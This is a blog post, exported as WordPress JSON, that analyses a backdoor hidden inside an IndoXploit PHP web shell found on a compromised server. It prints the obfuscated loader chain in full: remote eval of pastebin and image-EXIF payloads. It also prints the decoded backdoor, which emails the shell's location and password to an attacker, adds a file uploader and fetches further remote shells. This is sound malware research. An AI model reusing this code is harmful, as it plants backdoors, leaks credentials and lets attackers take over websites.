{"id":86,"date":"2023-11-26T03:22:06","date_gmt":"2023-11-26T03:22:06","guid":{"rendered":"https:\/\/ticklemeelmo.com\/malware\/?p=86"},"modified":"2023-11-26T06:22:48","modified_gmt":"2023-11-26T06:22:48","slug":"backdoors-in-hacking-tools-pt-1-pacman","status":"publish","type":"post","link":"https:\/\/syschan.org\/malware\/backdoors-in-hacking-tools-pt-1-pacman\/","title":{"rendered":"Backdoors in Hacking Tools \u2013 Pt. 1: Pacman"},"content":{"rendered":"\n<p><br>I was recently taking a look at the code of a version of the IndoXploit web shell that I located while investigating a compromised server (full source&nbsp;<a href=\"https:\/\/pastebin.com\/raw\/pUPdsxud\" target=\"_blank\" rel=\"noreferrer noopener\">here<\/a>) when I noticed this line:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"php\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">eval(gzinflate(base64_decode(file_get_contents('http:\/\/pastebin.com\/raw\/6PJ9Pj8F'))));<\/pre>\n\n\n\n<p>Curious, I decoded the contents of the pastebin URL that was being executed via the eval function:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"php\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">eval(str_rot13(gzinflate(str_rot13(base64_decode(('Lc29DoIwFEDhaukEAxQDGn8mUiM6CG80U08IJdwKJrW9AlefXlk8w0w\/rFFiPAXgxMsUV6bQwFT3ylcUKkaCC4O0nBcwp7RiXbturOnxDktXlmbMuS2ZphZHG+1o4xBzDt3BVjBL+9fgTw\/\/T6yp47Lz\/hPFsJzSbeQ5SftbTgshtcjtatEQMyHR6uYH2\/hV0oQEAxMxrQeGpKa5+AI='))))));<\/pre>\n\n\n\n<p><\/p>\n\n\n\n<p>As usual, more encoding. The code being executed here is:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"php\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">eval(base64_decode(exif_read_data(\"https:\/\/lh3.googleusercontent.com\/-svRm4i5Bs90\/VsFaosQPKUI\/AAAAAAAABew\/03oHWkCEsN8\/w140-h140-p\/pacman.jpg\")[\"COMPUTED\"][\"UserComment\"]));<\/pre>\n\n\n\n<p><\/p>\n\n\n\n<p>Okay, now things are starting to get interesting. This bit of code pulls base64 encoded exif data from an image, and then executes it as PHP.<\/p>\n\n\n\n<p>Let\u2019s download the image and see what\u2019s being executed:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"140\" height=\"140\" src=\"https:\/\/ticklemeelmo.com\/malware\/wp-content\/uploads\/2023\/11\/pacman.jpg\" alt=\"\" class=\"wp-image-88\" style=\"width:201px;height:auto\"\/><\/figure>\n\n\n\n<p>The EXIF data being extracted from the image and executed (decoded):<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"php\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">eval(str_rot13(gzinflate(base64_decode('rVZbj6NGGn1fKf9h33qiyQNge6ZRFCnYgLmVwaZc2H5pATEGbHNxQ5ni1+erck\/P7CSryUr7UEJQ1Hc553wHfqcxfclupw9PSX5K89NLnb++3o407p5+kX7+9ad\/\/f7+QkuzlFWXl9vxmByzp1\/+\/dgXty\/HW5ocT3Dsg3h6Kyr2oa6y26fpS3trkvb24Sna2iVZSx2hq+dqa5zq9bRb4J55jv5xsTXSFp\/Zgq5OC9Nf3hx7qBwtgfdPZF0WLWZSja2Pi0BNkBMOi\/uZ1ooxg+sd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/Sx7ecJ+RqV89p2SOGPeVeWIEPzamfgB+Xc\/pcEDr9UT05AS4syTbtwTZhnkzDDm2YRcuVbdOEGZsDDjAjaR10Q4ufM3j\/vd99sBpqxwZOwxjxGRXfKpg3Oog+a3MFeIKHYDvfBYRjTeEMbS8kJTBfBBspMlcJ+ALdLUVf0m2rdwtzRUWfI5o0I5OQ2UEsiL81pm3AY6ejx2dBsZIISymvEbg51YoOsWaDR0l2WHsg7uEz2cKF\/gONwIKaO9BJUgG2yNUTwG5r2EZN7uAPoIs6iNqdyURvnjPrq+sGavVH4adKy9pQvXOP4R7QXDoK33Cp2R4+7S8q+AvgcpnFtaLG4HFCP\/uJBt90q\/DGHuKfs8OSXPdKlOxj3icRfUV4FiMlnKDlIxd4JqtpR2EWGMd+H\/sJzGNG4oaCBxYN9eG\/wOp2QRSDj6eNsulgZo6EPnBrJxHPmXwTN4PZAh\/NzoIDcBbwvqvAfGxjz23ZwRRnxX8FeBuPfagVrX9811MJsAE9HvIG9yXPwz3unY\/YgHMy772stiu6X68UDYLNJ\/+cl7f5\/TteBuQIP6euOaRiZh+9\/JiXNXjHhPuMwbyR5fsRPN9UL57bFNqQ+to12s+x9EWXOVLavgVf+JaDw7bL+X8aoeVfNT22PcS9eqZfQj30Dduven7Ddh8YfT2Gx\/+G\/eP5l7mCuAP88yihVDlqPr\/70\/3YS7VJOJ6\/Pf3M\/yz\/BA=='))));<\/pre>\n\n\n\n<p><\/p>\n\n\n\n<p>The code being executed here results in\u2026another encoded function! (last one, I promise\u2026):<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"php\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">@ini_set('output_buffering',0);\n\t@ini_set('display_errors', 0);\n\t@error_reporting(0);\n\teval(base64_decode('JHVwID0gIiA8aHRtbD4gPGhlYWQ+PHRpdGxlPiAtPSBTeW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ZTEsJGFuYWsxKTsNCmZjbG9zZSgkbmdnYXdlMSk7DQpoZWFkZXIgKCJMb2NhdGlvbjp0aGVtZXMucGhwIik7IA0KY2htb2QoInRoZW1lcy5waHAiLDA2NDQpO30NCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KaWYoaXNzZXQoJF9HRVRbIjBkZWZhY2UiXSkpew0KJGFuYWsgPSBmaWxlX2dldF9jb250ZW50cygiaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcvNkpBNzJLOG0iKTsNCiRuZ2dhd2UgPSBmb3BlbigiMHguaHRtIiwidyIpIG9yIGRpZSAoImdhYmlzYSBwYWsiKTsNCmZ3cml0ZSgkbmdnYXdlLCRhbmFrKTsNCmZjbG9zZSgkbmdnYXdlKTsNCmhlYWRlciAoIkxvY2F0aW9uOjB4Lmh0bSIpO30='));<\/pre>\n\n\n\n<p><\/p>\n\n\n\n<p>And finally, we see the prize \u2013 a backdoor which has been included in the shell:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"php\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">@ini_set('output_buffering',0);\n@ini_set('display_errors', 0); \n@error_reporting(0);\n$up = \" &lt;html> &lt;head>&lt;title> -= Syedich =- &lt;\/title>&lt;\/head>&lt;body>&lt;center>&lt;h1>&lt;font face=\\\"Tahoma\\\" size=\\\"5\\\" color=\\\"#ff0000\\\">Learn To Better&lt;\/font>&lt;\/h1>&lt;form action=\\\"\\\" method=\\\"post\\\" enctype=\\\"multipart\/form-data\\\" name=\\\"uploader\\\" id=\\\"uploader\\\">&lt;table border=\\\"1\\\">&lt;tr>&lt;td bgcolor=\\\"#000000\\\">&lt;font color=\\\"#00ff00\\\">&lt;input type=\\\"file\\\" name=\\\"file\\\" size=\\\"50\\\">&lt;td bgcolor=\\\"#000000\\\">&lt;input name=\\\"_upl\\\" type=\\\"submit\\\" id=\\\"_upl\\\" value=\\\"Upload File\\\">&lt;\/td>&lt;\/td>&lt;\/tr>&lt;\/table>&lt;\/form>&lt;\/center>&lt;\/body>\";\n\tif( $_POST['_upl'] == \"Upload File\" ) {\n\tif(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { \n\techo '&lt;b>&lt;center>\n\t&lt;font face=\\\"Tahoma\\\" size=\\\"5\\\" color=\\\"#ff0000\\\">SUKSES UPLOAD MASTAH !!&lt;\/center>&lt;\/b>'; \n\t}\n\telse { \n\techo '\n\t&lt;font face=\\\"Tahoma\\\" size=\\\"5\\\" color=\\\"#ff0000\\\">&lt;center>&lt;b>GAGAL UPLOAD MASTAH !&lt;\/b>'; \n\t}\n\t}\n\tif(isset($_GET[\"0upload\"])){\n\techo \"$up\";\n\t}\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t if(isset($_GET[\"0cek\"])){\n\techo \"Password E :\".$auth_pass;\n\t }\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tif (file_exists('.db'))\n\t {  } else {\n\t$to = \"syedich@yahoo.com\";\n\t$subject = $_SERVER['SERVER_NAME'];\n\t$header = \"From: Mastah &lt;jancok@matamucok.com>\";\n\t$message = \"Exploit : http:\/\/\". $_SERVER['SERVER_NAME']. $_SERVER['REQUEST_URI'];\n\tmail($to, $subject, $message, $header);\n\t$m = fopen(\".db\", \"w\") or die (\" \");\n\t$txt = \"\";\n\tfwrite($m, $txt);\n\tfclose($m);\n\tchmod(\".db\",0644); }\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t if(isset($_GET[\"0shell\"])){\n\t$anak1 = file_get_contents(\"https:\/\/sites.google.com\/site\/bhshll123\/bh.txt\");\n\t$nggawe1 = fopen(\"themes.php\",\"w\") or die (\"gabisa pak\");\n\tfwrite($nggawe1,$anak1);\n\tfclose($nggawe1);\n\theader (\"Location:themes.php\"); \n\tchmod(\"themes.php\",0644);}\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tif(isset($_GET[\"0deface\"])){\n\t$anak = file_get_contents(\"http:\/\/pastebin.com\/raw\/6JA72K8m\");\n\t$nggawe = fopen(\"0x.htm\",\"w\") or die (\"gabisa pak\");\n\tfwrite($nggawe,$anak);\n\tfclose($nggawe);\n\theader (\"Location:0x.htm\");}<\/pre>\n\n\n\n<p>Functions of this backdoor:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Emailing the backdoor author the IndoXploit shell\u2019s location<\/li>\n\n\n\n<li>Emailing the backdoor author the password (if any) that has been configured in the IndoXploit shell by the the person who put IndoXploit there in the first place.<\/li>\n\n\n\n<li>Dropping a hidden file to let the backdoor know if it has already sent this location and password information to the author, so that it can prevent more than one email per infected host\/location from being sent.<\/li>\n\n\n\n<li>Ability to provide the IndoXploit shell\u2019s current password on the shell\u2019s login page when presented with a specific GET variable\/value combination, in case the password has changed.<\/li>\n\n\n\n<li>File upload function.<\/li>\n<\/ul>\n\n\n\n<p>Missing Functions:<\/p>\n\n\n\n<p>Two other functions looked to include the ability to drop what appears to be a version of \u201cblackhat shell\u201d (another common web shell) and one which appears to add an html file to the server containing a defacement message.<\/p>\n\n\n\n<p>Unfortunately, at the time this was located, the URLs containing the code executed in those functions had been pulled offline by google and pastebin respectively for ToS violations, so I wasn\u2019t able to analyze their code to confirm.<\/p>\n\n\n\n<p>Final Thoughts:<\/p>\n\n\n\n<p>Despite the functions missing due to ToS takedowns, the capabilities still present and functional in this backdoor are more than sufficient to provide whoever put it there with access to effectively any site\/server where their backdoored IndoXploit shell is placed.<\/p>\n\n\n\n<p>This will be the first of a series of posts regarding backdoors I\u2019ve found hidden within these types of tools which were located on compromised servers.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>I was recently taking a look at the code of a version of the IndoXploit web shell that I located while investigating a compromised server (full source&nbsp;here) when I noticed this line: Curious, I decoded the contents of the pastebin URL that was being executed via the eval function: As usual, more encoding. The code [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-86","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/syschan.org\/malware\/wp-json\/wp\/v2\/posts\/86","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/syschan.org\/malware\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/syschan.org\/malware\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/syschan.org\/malware\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/syschan.org\/malware\/wp-json\/wp\/v2\/comments?post=86"}],"version-history":[{"count":9,"href":"https:\/\/syschan.org\/malware\/wp-json\/wp\/v2\/posts\/86\/revisions"}],"predecessor-version":[{"id":122,"href":"https:\/\/syschan.org\/malware\/wp-json\/wp\/v2\/posts\/86\/revisions\/122"}],"wp:attachment":[{"href":"https:\/\/syschan.org\/malware\/wp-json\/wp\/v2\/media?parent=86"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/syschan.org\/malware\/wp-json\/wp\/v2\/categories?post=86"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/syschan.org\/malware\/wp-json\/wp\/v2\/tags?post=86"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}